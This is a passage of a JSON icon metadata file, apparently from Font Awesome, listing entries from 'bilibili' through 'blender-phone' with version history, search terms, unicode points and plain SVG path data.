        "path": "M312 32c-13.3 0-24 10.7-24 24s10.7 24 24 24h25.7l34.6 64H222.9l-27.4-38C191 99.7 183.7 96 176 96H120c-13.3 0-24 10.7-24 24s10.7 24 24 24h43.7l22.1 30.7-26.6 53.1c-10-2.5-20.5-3.8-31.2-3.8C57.3 224 0 281.3 0 352s57.3 128 128 128c65.3 0 119.1-48.9 127-112h49c8.5 0 16.3-4.5 20.7-11.8l84.8-143.5 21.7 40.1C402.4 276.3 384 312 384 352c0 70.7 57.3 128 128 128s128-57.3 128-128s-57.3-128-128-128c-13.5 0-26.5 2.1-38.7 6L375.4 48.8C369.8 38.4 359 32 347.2 32H312zM458.6 303.7l32.3 59.7c6.3 11.7 20.9 16 32.5 9.7s16-20.9 9.7-32.5l-32.3-59.7c3.6-.6 7.4-.9 11.2-.9c39.8 0 72 32.2 72 72s-32.2 72-72 72s-72-32.2-72-72c0-18.6 7-35.5 18.6-48.3zM133.2 368h65c-7.3 32.1-36 56-70.2 56c-39.8 0-72-32.2-72-72s32.2-72 72-72c1.7 0 3.4 .1 5.1 .2l-24.2 48.5c-9 18.1 4.1 39.4 24.3 39.4zm33.7-48l50.7-101.3 72.9 101.2-.1 .1H166.8zm90.6-128H365.9L317 274.8 257.4 192z"
      }
    },
    "free": ["solid"]
  },
  "bilibili": {
    "changes": ["6.0.0-beta2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e3d9",
    "label": "Bilibili",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014468,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M488.6 104.1C505.3 122.2 513 143.8 511.9 169.8V372.2C511.5 398.6 502.7 420.3 485.4 437.3C468.2 454.3 446.3 463.2 419.9 464H92.02C65.57 463.2 43.81 454.2 26.74 436.8C9.682 419.4 .7667 396.5 0 368.2V169.8C.7667 143.8 9.682 122.2 26.74 104.1C43.81 87.75 65.57 78.77 92.02 78H121.4L96.05 52.19C90.3 46.46 87.42 39.19 87.42 30.4C87.42 21.6 90.3 14.34 96.05 8.603C101.8 2.868 109.1 0 117.9 0C126.7 0 134 2.868 139.8 8.603L213.1 78H301.1L375.6 8.603C381.7 2.868 389.2 0 398 0C406.8 0 414.1 2.868 419.9 8.603C425.6 14.34 428.5 21.6 428.5 30.4C428.5 39.19 425.6 46.46 419.9 52.19L394.6 78L423.9 78C450.3 78.77 471.9 87.75 488.6 104.1H488.6zM449.8 173.8C449.4 164.2 446.1 156.4 439.1 150.3C433.9 144.2 425.1 140.9 416.4 140.5H96.05C86.46 140.9 78.6 144.2 72.47 150.3C66.33 156.4 63.07 164.2 62.69 173.8V368.2C62.69 377.4 65.95 385.2 72.47 391.7C78.99 398.2 86.85 401.5 96.05 401.5H416.4C425.6 401.5 433.4 398.2 439.7 391.7C446 385.2 449.4 377.4 449.8 368.2L449.8 173.8zM185.5 216.5C191.8 222.8 195.2 230.6 195.6 239.7V273C195.2 282.2 191.9 289.9 185.8 296.2C179.6 302.5 171.8 305.7 162.2 305.7C152.6 305.7 144.7 302.5 138.6 296.2C132.5 289.9 129.2 282.2 128.8 273V239.7C129.2 230.6 132.6 222.8 138.9 216.5C145.2 210.2 152.1 206.9 162.2 206.5C171.4 206.9 179.2 210.2 185.5 216.5H185.5zM377 216.5C383.3 222.8 386.7 230.6 387.1 239.7V273C386.7 282.2 383.4 289.9 377.3 296.2C371.2 302.5 363.3 305.7 353.7 305.7C344.1 305.7 336.3 302.5 330.1 296.2C323.1 289.9 320.7 282.2 320.4 273V239.7C320.7 230.6 324.1 222.8 330.4 216.5C336.7 210.2 344.5 206.9 353.7 206.5C362.9 206.9 370.7 210.2 377 216.5H377z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M488.6 104.1C505.3 122.2 513 143.8 511.9 169.8V372.2C511.5 398.6 502.7 420.3 485.4 437.3C468.2 454.3 446.3 463.2 419.9 464H92.02C65.57 463.2 43.81 454.2 26.74 436.8C9.682 419.4 .7667 396.5 0 368.2V169.8C.7667 143.8 9.682 122.2 26.74 104.1C43.81 87.75 65.57 78.77 92.02 78H121.4L96.05 52.19C90.3 46.46 87.42 39.19 87.42 30.4C87.42 21.6 90.3 14.34 96.05 8.603C101.8 2.868 109.1 0 117.9 0C126.7 0 134 2.868 139.8 8.603L213.1 78H301.1L375.6 8.603C381.7 2.868 389.2 0 398 0C406.8 0 414.1 2.868 419.9 8.603C425.6 14.34 428.5 21.6 428.5 30.4C428.5 39.19 425.6 46.46 419.9 52.19L394.6 78L423.9 78C450.3 78.77 471.9 87.75 488.6 104.1H488.6zM449.8 173.8C449.4 164.2 446.1 156.4 439.1 150.3C433.9 144.2 425.1 140.9 416.4 140.5H96.05C86.46 140.9 78.6 144.2 72.47 150.3C66.33 156.4 63.07 164.2 62.69 173.8V368.2C62.69 377.4 65.95 385.2 72.47 391.7C78.99 398.2 86.85 401.5 96.05 401.5H416.4C425.6 401.5 433.4 398.2 439.7 391.7C446 385.2 449.4 377.4 449.8 368.2L449.8 173.8zM185.5 216.5C191.8 222.8 195.2 230.6 195.6 239.7V273C195.2 282.2 191.9 289.9 185.8 296.2C179.6 302.5 171.8 305.7 162.2 305.7C152.6 305.7 144.7 302.5 138.6 296.2C132.5 289.9 129.2 282.2 128.8 273V239.7C129.2 230.6 132.6 222.8 138.9 216.5C145.2 210.2 152.1 206.9 162.2 206.5C171.4 206.9 179.2 210.2 185.5 216.5H185.5zM377 216.5C383.3 222.8 386.7 230.6 387.1 239.7V273C386.7 282.2 383.4 289.9 377.3 296.2C371.2 302.5 363.3 305.7 353.7 305.7C344.1 305.7 336.3 302.5 330.1 296.2C323.1 289.9 320.7 282.2 320.4 273V239.7C320.7 230.6 324.1 222.8 330.4 216.5C336.7 210.2 344.5 206.9 353.7 206.5C362.9 206.9 370.7 210.2 377 216.5H377z"
      }
    },
    "free": ["brands"]
  },
  "bimobject": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f378",
    "label": "BIMobject",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014470,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M416 32H32C14.4 32 0 46.4 0 64v384c0 17.6 14.4 32 32 32h384c17.6 0 32-14.4 32-32V64c0-17.6-14.4-32-32-32zm-64 257.4c0 49.4-11.4 82.6-103.8 82.6h-16.9c-44.1 0-62.4-14.9-70.4-38.8h-.9V368H96V136h64v74.7h1.1c4.6-30.5 39.7-38.8 69.7-38.8h17.3c92.4 0 103.8 33.1 103.8 82.5v35zm-64-28.9v22.9c0 21.7-3.4 33.8-38.4 33.8h-45.3c-28.9 0-44.1-6.5-44.1-35.7v-19c0-29.3 15.2-35.7 44.1-35.7h45.3c35-.2 38.4 12 38.4 33.7z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M416 32H32C14.4 32 0 46.4 0 64v384c0 17.6 14.4 32 32 32h384c17.6 0 32-14.4 32-32V64c0-17.6-14.4-32-32-32zm-64 257.4c0 49.4-11.4 82.6-103.8 82.6h-16.9c-44.1 0-62.4-14.9-70.4-38.8h-.9V368H96V136h64v74.7h1.1c4.6-30.5 39.7-38.8 69.7-38.8h17.3c92.4 0 103.8 33.1 103.8 82.5v35zm-64-28.9v22.9c0 21.7-3.4 33.8-38.4 33.8h-45.3c-28.9 0-44.1-6.5-44.1-35.7v-19c0-29.3 15.2-35.7 44.1-35.7h45.3c35-.2 38.4 12 38.4 33.7z"
      }
    },
    "free": ["brands"]
  },
  "binoculars": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f1e5"]
      }
    },
    "changes": [
      "4.2.0",
      "5.0.0",
      "5.2.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["glasses", "magnify", "scenic", "spyglass", "view"]
    },
    "styles": ["solid"],
    "unicode": "f1e5",
    "label": "Binoculars",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M128 32h32c17.7 0 32 14.3 32 32V96H96V64c0-17.7 14.3-32 32-32zm64 96V448c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32V388.9c0-34.6 9.4-68.6 27.2-98.3C40.9 267.8 49.7 242.4 53 216L60.5 156c2-16 15.6-28 31.8-28H192zm227.8 0c16.1 0 29.8 12 31.8 28L459 216c3.3 26.4 12.1 51.8 25.8 74.6c17.8 29.7 27.2 63.7 27.2 98.3V448c0 17.7-14.3 32-32 32H352c-17.7 0-32-14.3-32-32V128h99.8zM320 64c0-17.7 14.3-32 32-32h32c17.7 0 32 14.3 32 32V96H320V64zm-32 64V288H224V128h64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M128 32h32c17.7 0 32 14.3 32 32V96H96V64c0-17.7 14.3-32 32-32zm64 96V448c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32V388.9c0-34.6 9.4-68.6 27.2-98.3C40.9 267.8 49.7 242.4 53 216L60.5 156c2-16 15.6-28 31.8-28H192zm227.8 0c16.1 0 29.8 12 31.8 28L459 216c3.3 26.4 12.1 51.8 25.8 74.6c17.8 29.7 27.2 63.7 27.2 98.3V448c0 17.7-14.3 32-32 32H352c-17.7 0-32-14.3-32-32V128h99.8zM320 64c0-17.7 14.3-32 32-32h32c17.7 0 32 14.3 32 32V96H320V64zm-32 64V288H224V128h64z"
      }
    },
    "free": ["solid"]
  },
  "biohazard": {
    "aliases": {
      "unicodes": {
        "composite": ["2623"],
        "secondary": ["10f780"]
      }
    },
    "changes": ["5.6.0", "5.7.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "biohazard",
        "covid-19",
        "danger",
        "dangerous",
        "epidemic",
        "hazmat",
        "medical",
        "pandemic",
        "radioactive",
        "sign",
        "toxic",
        "waste",
        "zombie"
      ]
    },
    "styles": ["solid"],
    "unicode": "f780",
    "label": "Biohazard",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M173.2 0c-1.8 0-3.5 .7-4.8 2C138.5 32.3 120 74 120 120c0 26.2 6 50.9 16.6 73c-22 2.4-43.8 9.1-64.2 20.5C37.9 232.8 13.3 262.4 .4 296c-.7 1.7-.5 3.7 .5 5.2c2.2 3.7 7.4 4.3 10.6 1.3C64.2 254.3 158 245.1 205 324s-8.1 153.1-77.6 173.2c-4.2 1.2-6.3 5.9-4.1 9.6c1 1.6 2.6 2.7 4.5 3c36.5 5.9 75.2 .1 109.7-19.2c20.4-11.4 37.4-26.5 50.5-43.8c13.1 17.3 30.1 32.4 50.5 43.8c34.5 19.3 73.3 25.2 109.7 19.2c1.9-.3 3.5-1.4 4.5-3c2.2-3.7 .1-8.4-4.1-9.6C379.1 477.1 324 403 371 324s140.7-69.8 193.5-21.4c3.2 2.9 8.4 2.3 10.6-1.3c1-1.6 1.1-3.5 .5-5.2c-12.9-33.6-37.5-63.2-72.1-82.5c-20.4-11.4-42.2-18.1-64.2-20.5C450 170.9 456 146.2 456 120c0-46-18.5-87.7-48.4-118c-1.3-1.3-3-2-4.8-2c-5 0-8.4 5.2-6.7 9.9C421.7 80.5 385.6 176 288 176S154.3 80.5 179.9 9.9c1.7-4.7-1.6-9.9-6.7-9.9zM240 272a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM181.7 417.6c6.3-11.8 9.8-25.1 8.6-39.8c-19.5-18-34-41.4-41.2-67.8c-12.5-8.1-26.2-11.8-40-12.4c-9-.4-18.1 .6-27.1 2.7c7.8 57.1 38.7 106.8 82.9 139.4c6.8-6.7 12.6-14.1 16.8-22.1zM288 64c-28.8 0-56.3 5.9-81.2 16.5c2 8.3 5 16.2 9 23.5c6.8 12.4 16.7 23.1 30.1 30.3c13.3-4.1 27.5-6.3 42.2-6.3s28.8 2.2 42.2 6.3c13.4-7.2 23.3-17.9 30.1-30.3c4-7.3 7-15.2 9-23.5C344.3 69.9 316.8 64 288 64zM426.9 310c-7.2 26.4-21.7 49.7-41.2 67.8c-1.2 14.7 2.2 28.1 8.6 39.8c4.3 8 10 15.4 16.8 22.1c44.3-32.6 75.2-82.3 82.9-139.4c-9-2.2-18.1-3.1-27.1-2.7c-13.8 .6-27.5 4.4-40 12.4z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M173.2 0c-1.8 0-3.5 .7-4.8 2C138.5 32.3 120 74 120 120c0 26.2 6 50.9 16.6 73c-22 2.4-43.8 9.1-64.2 20.5C37.9 232.8 13.3 262.4 .4 296c-.7 1.7-.5 3.7 .5 5.2c2.2 3.7 7.4 4.3 10.6 1.3C64.2 254.3 158 245.1 205 324s-8.1 153.1-77.6 173.2c-4.2 1.2-6.3 5.9-4.1 9.6c1 1.6 2.6 2.7 4.5 3c36.5 5.9 75.2 .1 109.7-19.2c20.4-11.4 37.4-26.5 50.5-43.8c13.1 17.3 30.1 32.4 50.5 43.8c34.5 19.3 73.3 25.2 109.7 19.2c1.9-.3 3.5-1.4 4.5-3c2.2-3.7 .1-8.4-4.1-9.6C379.1 477.1 324 403 371 324s140.7-69.8 193.5-21.4c3.2 2.9 8.4 2.3 10.6-1.3c1-1.6 1.1-3.5 .5-5.2c-12.9-33.6-37.5-63.2-72.1-82.5c-20.4-11.4-42.2-18.1-64.2-20.5C450 170.9 456 146.2 456 120c0-46-18.5-87.7-48.4-118c-1.3-1.3-3-2-4.8-2c-5 0-8.4 5.2-6.7 9.9C421.7 80.5 385.6 176 288 176S154.3 80.5 179.9 9.9c1.7-4.7-1.6-9.9-6.7-9.9zM240 272a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM181.7 417.6c6.3-11.8 9.8-25.1 8.6-39.8c-19.5-18-34-41.4-41.2-67.8c-12.5-8.1-26.2-11.8-40-12.4c-9-.4-18.1 .6-27.1 2.7c7.8 57.1 38.7 106.8 82.9 139.4c6.8-6.7 12.6-14.1 16.8-22.1zM288 64c-28.8 0-56.3 5.9-81.2 16.5c2 8.3 5 16.2 9 23.5c6.8 12.4 16.7 23.1 30.1 30.3c13.3-4.1 27.5-6.3 42.2-6.3s28.8 2.2 42.2 6.3c13.4-7.2 23.3-17.9 30.1-30.3c4-7.3 7-15.2 9-23.5C344.3 69.9 316.8 64 288 64zM426.9 310c-7.2 26.4-21.7 49.7-41.2 67.8c-1.2 14.7 2.2 28.1 8.6 39.8c4.3 8 10 15.4 16.8 22.1c44.3-32.6 75.2-82.3 82.9-139.4c-9-2.2-18.1-3.1-27.1-2.7c-13.8 .6-27.5 4.4-40 12.4z"
      }
    },
    "free": ["solid"]
  },
  "bitbucket": {
    "aliases": {
      "unicodes": {
        "composite": ["f172"]
      }
    },
    "changes": ["3.2.0", "5.0.0", "5.6.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": ["atlassian", "bitbucket-square", "git"]
    },
    "styles": ["brands"],
    "unicode": "f171",
    "label": "Bitbucket",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014465,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M22.2 32A16 16 0 0 0 6 47.8a26.35 26.35 0 0 0 .2 2.8l67.9 412.1a21.77 21.77 0 0 0 21.3 18.2h325.7a16 16 0 0 0 16-13.4L505 50.7a16 16 0 0 0-13.2-18.3 24.58 24.58 0 0 0-2.8-.2L22.2 32zm285.9 297.8h-104l-28.1-147h157.3l-25.2 147z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M22.2 32A16 16 0 0 0 6 47.8a26.35 26.35 0 0 0 .2 2.8l67.9 412.1a21.77 21.77 0 0 0 21.3 18.2h325.7a16 16 0 0 0 16-13.4L505 50.7a16 16 0 0 0-13.2-18.3 24.58 24.58 0 0 0-2.8-.2L22.2 32zm285.9 297.8h-104l-28.1-147h157.3l-25.2 147z"
      }
    },
    "free": ["brands"]
  },
  "bitcoin": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f379",
    "label": "Bitcoin",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zm-141.651-35.33c4.937-32.999-20.191-50.739-54.55-62.573l11.146-44.702-27.213-6.781-10.851 43.524c-7.154-1.783-14.502-3.464-21.803-5.13l10.929-43.81-27.198-6.781-11.153 44.686c-5.922-1.349-11.735-2.682-17.377-4.084l.031-.14-37.53-9.37-7.239 29.062s20.191 4.627 19.765 4.913c11.022 2.751 13.014 10.044 12.68 15.825l-12.696 50.925c.76.194 1.744.473 2.829.907-.907-.225-1.876-.473-2.876-.713l-17.796 71.338c-1.349 3.348-4.767 8.37-12.471 6.464.271.395-19.78-4.937-19.78-4.937l-13.51 31.147 35.414 8.827c6.588 1.651 13.045 3.379 19.4 5.006l-11.262 45.213 27.182 6.781 11.153-44.733a1038.209 1038.209 0 0 0 21.687 5.627l-11.115 44.523 27.213 6.781 11.262-45.128c46.404 8.781 81.299 5.239 95.986-36.727 11.836-33.79-.589-53.281-25.004-65.991 17.78-4.098 31.174-15.792 34.747-39.949zm-62.177 87.179c-8.41 33.79-65.308 15.523-83.755 10.943l14.944-59.899c18.446 4.603 77.6 13.717 68.811 48.956zm8.417-87.667c-7.673 30.736-55.031 15.12-70.393 11.292l13.548-54.327c15.363 3.828 64.836 10.973 56.845 43.035z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zm-141.651-35.33c4.937-32.999-20.191-50.739-54.55-62.573l11.146-44.702-27.213-6.781-10.851 43.524c-7.154-1.783-14.502-3.464-21.803-5.13l10.929-43.81-27.198-6.781-11.153 44.686c-5.922-1.349-11.735-2.682-17.377-4.084l.031-.14-37.53-9.37-7.239 29.062s20.191 4.627 19.765 4.913c11.022 2.751 13.014 10.044 12.68 15.825l-12.696 50.925c.76.194 1.744.473 2.829.907-.907-.225-1.876-.473-2.876-.713l-17.796 71.338c-1.349 3.348-4.767 8.37-12.471 6.464.271.395-19.78-4.937-19.78-4.937l-13.51 31.147 35.414 8.827c6.588 1.651 13.045 3.379 19.4 5.006l-11.262 45.213 27.182 6.781 11.153-44.733a1038.209 1038.209 0 0 0 21.687 5.627l-11.115 44.523 27.213 6.781 11.262-45.128c46.404 8.781 81.299 5.239 95.986-36.727 11.836-33.79-.589-53.281-25.004-65.991 17.78-4.098 31.174-15.792 34.747-39.949zm-62.177 87.179c-8.41 33.79-65.308 15.523-83.755 10.943l14.944-59.899c18.446 4.603 77.6 13.717 68.811 48.956zm8.417-87.667c-7.673 30.736-55.031 15.12-70.393 11.292l13.548-54.327c15.363 3.828 64.836 10.973 56.845 43.035z"
      }
    },
    "free": ["brands"]
  },
  "bitcoin-sign": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Bitcoin Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "e0b4",
    "label": "Bitcoin Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M48 32C48 14.3 62.3 0 80 0s32 14.3 32 32V64h32V32c0-17.7 14.3-32 32-32s32 14.3 32 32V64c0 1.5-.1 3.1-.3 4.5C254.1 82.2 288 125.1 288 176c0 24.2-7.7 46.6-20.7 64.9c31.7 19.8 52.7 55 52.7 95.1c0 61.9-50.1 112-112 112v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448H112v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448H41.7C18.7 448 0 429.3 0 406.3V288 265.7 224 101.6C0 80.8 16.8 64 37.6 64H48V32zM64 224H176c26.5 0 48-21.5 48-48s-21.5-48-48-48H64v96zm112 64H64v96H208c26.5 0 48-21.5 48-48s-21.5-48-48-48H176z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M48 32C48 14.3 62.3 0 80 0s32 14.3 32 32V64h32V32c0-17.7 14.3-32 32-32s32 14.3 32 32V64c0 1.5-.1 3.1-.3 4.5C254.1 82.2 288 125.1 288 176c0 24.2-7.7 46.6-20.7 64.9c31.7 19.8 52.7 55 52.7 95.1c0 61.9-50.1 112-112 112v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448H112v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448H41.7C18.7 448 0 429.3 0 406.3V288 265.7 224 101.6C0 80.8 16.8 64 37.6 64H48V32zM64 224H176c26.5 0 48-21.5 48-48s-21.5-48-48-48H64v96zm112 64H64v96H208c26.5 0 48-21.5 48-48s-21.5-48-48-48H176z"
      }
    },
    "free": ["solid"]
  },
  "bity": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f37a",
    "label": "Bity",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014482,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M78.4 67.2C173.8-22 324.5-24 421.5 71c14.3 14.1-6.4 37.1-22.4 21.5-84.8-82.4-215.8-80.3-298.9-3.2-16.3 15.1-36.5-8.3-21.8-22.1zm98.9 418.6c19.3 5.7 29.3-23.6 7.9-30C73 421.9 9.4 306.1 37.7 194.8c5-19.6-24.9-28.1-30.2-7.1-32.1 127.4 41.1 259.8 169.8 298.1zm148.1-2c121.9-40.2 192.9-166.9 164.4-291-4.5-19.7-34.9-13.8-30 7.9 24.2 107.7-37.1 217.9-143.2 253.4-21.2 7-10.4 36 8.8 29.7zm-62.9-79l.2-71.8c0-8.2-6.6-14.8-14.8-14.8-8.2 0-14.8 6.7-14.8 14.8l-.2 71.8c0 8.2 6.6 14.8 14.8 14.8s14.8-6.6 14.8-14.8zm71-269c2.1 90.9 4.7 131.9-85.5 132.5-92.5-.7-86.9-44.3-85.5-132.5 0-21.8-32.5-19.6-32.5 0v71.6c0 69.3 60.7 90.9 118 90.1 57.3.8 118-20.8 118-90.1v-71.6c0-19.6-32.5-21.8-32.5 0z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M78.4 67.2C173.8-22 324.5-24 421.5 71c14.3 14.1-6.4 37.1-22.4 21.5-84.8-82.4-215.8-80.3-298.9-3.2-16.3 15.1-36.5-8.3-21.8-22.1zm98.9 418.6c19.3 5.7 29.3-23.6 7.9-30C73 421.9 9.4 306.1 37.7 194.8c5-19.6-24.9-28.1-30.2-7.1-32.1 127.4 41.1 259.8 169.8 298.1zm148.1-2c121.9-40.2 192.9-166.9 164.4-291-4.5-19.7-34.9-13.8-30 7.9 24.2 107.7-37.1 217.9-143.2 253.4-21.2 7-10.4 36 8.8 29.7zm-62.9-79l.2-71.8c0-8.2-6.6-14.8-14.8-14.8-8.2 0-14.8 6.7-14.8 14.8l-.2 71.8c0 8.2 6.6 14.8 14.8 14.8s14.8-6.6 14.8-14.8zm71-269c2.1 90.9 4.7 131.9-85.5 132.5-92.5-.7-86.9-44.3-85.5-132.5 0-21.8-32.5-19.6-32.5 0v71.6c0 69.3 60.7 90.9 118 90.1 57.3.8 118-20.8 118-90.1v-71.6c0-19.6-32.5-21.8-32.5 0z"
      }
    },
    "free": ["brands"]
  },
  "black-tie": {
    "changes": ["4.4.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f27e",
    "label": "Font Awesome Black Tie",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 32v448h448V32H0zm316.5 325.2L224 445.9l-92.5-88.7 64.5-184-64.5-86.6h184.9L252 173.2l64.5 184z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 32v448h448V32H0zm316.5 325.2L224 445.9l-92.5-88.7 64.5-184-64.5-86.6h184.9L252 173.2l64.5 184z"
      }
    },
    "free": ["brands"]
  },
  "blackberry": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f37b",
    "label": "BlackBerry",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M166 116.9c0 23.4-16.4 49.1-72.5 49.1H23.4l21-88.8h67.8c42.1 0 53.8 23.3 53.8 39.7zm126.2-39.7h-67.8L205.7 166h70.1c53.8 0 70.1-25.7 70.1-49.1.1-16.4-11.6-39.7-53.7-39.7zM88.8 208.1H21L0 296.9h70.1c56.1 0 72.5-23.4 72.5-49.1 0-16.3-11.7-39.7-53.8-39.7zm180.1 0h-67.8l-18.7 88.8h70.1c53.8 0 70.1-23.4 70.1-49.1 0-16.3-11.7-39.7-53.7-39.7zm189.3-53.8h-67.8l-18.7 88.8h70.1c53.8 0 70.1-23.4 70.1-49.1.1-16.3-11.6-39.7-53.7-39.7zm-28 137.9h-67.8L343.7 381h70.1c56.1 0 70.1-23.4 70.1-49.1 0-16.3-11.6-39.7-53.7-39.7zM240.8 346H173l-18.7 88.8h70.1c56.1 0 70.1-25.7 70.1-49.1.1-16.3-11.6-39.7-53.7-39.7z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M166 116.9c0 23.4-16.4 49.1-72.5 49.1H23.4l21-88.8h67.8c42.1 0 53.8 23.3 53.8 39.7zm126.2-39.7h-67.8L205.7 166h70.1c53.8 0 70.1-25.7 70.1-49.1.1-16.4-11.6-39.7-53.7-39.7zM88.8 208.1H21L0 296.9h70.1c56.1 0 72.5-23.4 72.5-49.1 0-16.3-11.7-39.7-53.8-39.7zm180.1 0h-67.8l-18.7 88.8h70.1c53.8 0 70.1-23.4 70.1-49.1 0-16.3-11.7-39.7-53.7-39.7zm189.3-53.8h-67.8l-18.7 88.8h70.1c53.8 0 70.1-23.4 70.1-49.1.1-16.3-11.6-39.7-53.7-39.7zm-28 137.9h-67.8L343.7 381h70.1c56.1 0 70.1-23.4 70.1-49.1 0-16.3-11.6-39.7-53.7-39.7zM240.8 346H173l-18.7 88.8h70.1c56.1 0 70.1-25.7 70.1-49.1.1-16.3-11.6-39.7-53.7-39.7z"
      }
    },
    "free": ["brands"]
  },
  "blender": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f517"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["cocktail", "milkshake", "mixer", "puree", "smoothie"]
    },
    "styles": ["solid"],
    "unicode": "f517",
    "label": "Blender",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767419,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 64C0 28.7 28.7 0 64 0h64 32H470.1c21.1 0 36.4 20.1 30.9 40.4L494.5 64H336c-8.8 0-16 7.2-16 16s7.2 16 16 16H485.8l-17.5 64H336c-8.8 0-16 7.2-16 16s7.2 16 16 16H459.6l-17.5 64H336c-8.8 0-16 7.2-16 16s7.2 16 16 16h97.5L416 352H160l-8.7-96H64c-35.3 0-64-28.7-64-64V64zM145.5 192L133.8 64H64V192h81.5zM144 384H432c26.5 0 48 21.5 48 48v32c0 26.5-21.5 48-48 48H144c-26.5 0-48-21.5-48-48V432c0-26.5 21.5-48 48-48zm144 96a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 64C0 28.7 28.7 0 64 0h64 32H470.1c21.1 0 36.4 20.1 30.9 40.4L494.5 64H336c-8.8 0-16 7.2-16 16s7.2 16 16 16H485.8l-17.5 64H336c-8.8 0-16 7.2-16 16s7.2 16 16 16H459.6l-17.5 64H336c-8.8 0-16 7.2-16 16s7.2 16 16 16h97.5L416 352H160l-8.7-96H64c-35.3 0-64-28.7-64-64V64zM145.5 192L133.8 64H64V192h81.5zM144 384H432c26.5 0 48 21.5 48 48v32c0 26.5-21.5 48-48 48H144c-26.5 0-48-21.5-48-48V432c0-26.5 21.5-48 48-48zm144 96a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "blender-phone": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f6b6"]
      }
    },
    "changes": ["5.4.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "appliance",
        "cocktail",
        "fantasy",
        "milkshake",
        "mixer",
        "puree",
